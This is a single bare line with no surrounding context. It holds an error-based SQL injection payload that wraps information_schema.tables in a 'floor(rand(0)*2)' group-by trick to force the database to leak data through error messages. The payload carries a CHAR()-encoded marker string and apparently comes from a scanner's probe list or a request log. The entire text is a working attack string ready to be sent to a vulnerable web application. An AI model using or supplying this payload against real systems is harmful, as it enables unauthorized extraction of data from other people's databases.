"and(select 1 from(select count(*),concat((select concat(CHAR(52),CHAR(67),CHAR(117),CHAR(54),CHAR(79),CHAR(55),CHAR(115),CHAR(54),CHAR(122),CHAR(111),CHAR(107)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)and"